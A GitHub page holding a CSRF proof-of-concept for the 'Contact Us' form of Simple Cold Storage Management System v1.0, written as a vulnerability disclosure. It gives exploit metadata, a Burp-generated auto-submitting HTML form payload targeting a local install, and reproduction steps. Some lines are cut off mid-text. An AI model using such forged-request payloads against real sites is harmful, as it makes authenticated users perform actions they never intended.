souravkr529 / CSRF-in-Cold-Storage-Management-System Public

Code Issues Pull requests Actions Projects Security Insights

main

CSRF-in-Cold-Storage-Management-System / PoC

souravkr529 Create PoC

History

1 contributor

39 lines (33 sloc) | 1.63 KB

```
# Exploit Title: Simple Cold Storage Management System v1.0 - CSRF in "Contact Us"
# Exploit Author: Sourav Kumar
# Vendor Name: oretnom23
# Vendor Homepage: https://www.sourcecodester.com/php/15088/simple-cold-storage-management-system-
# Software Link: https://www.sourcecodester.com/php/15088/simple-cold-storage-management-system-us
# Version: v1.0
# Tested on: Windows 11, Apache


Description:It is an attack that forces authenticated users to submit a request to a Web applicati
Vulnerable Parameters:

Contact Us

Payload:
'
<html>
  <!-- CSRF PoC - generated by Burp Suite Professional -->
  <body>
  <script>history.pushState('', '', '/')</script>
    <form action="http://localhost/csms/classes/Master.php?f=save_message" method="POST" enctype="
      <input type="hidden" name="id" value="" />
      <input type="hidden" name="fullname" value="as" />
      <input type="hidden" name="contact" value="885665" />
      <input type="hidden" name="email" value="kittukumar267&#64;gmail&#46;com" />
      <input type="hidden" name="message" value="seht" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
```

```
</html>



Steps:
1) Go to Contact us page - http://localhost/csms/?page=contact_us
2) Now fill the form
3) Now intercept the post request with burp suite
4) Then Generate CSRF Payload PoC
5) Open the HTML Payload in browser
6) You will receive this message {"status":"success","msg":"Your message has successfully sent."}
```